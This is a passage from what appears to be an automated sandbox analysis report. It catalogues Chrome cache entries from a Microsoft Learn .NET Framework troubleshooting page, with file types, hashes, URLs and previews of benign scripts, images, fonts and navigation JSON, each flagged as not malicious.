Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
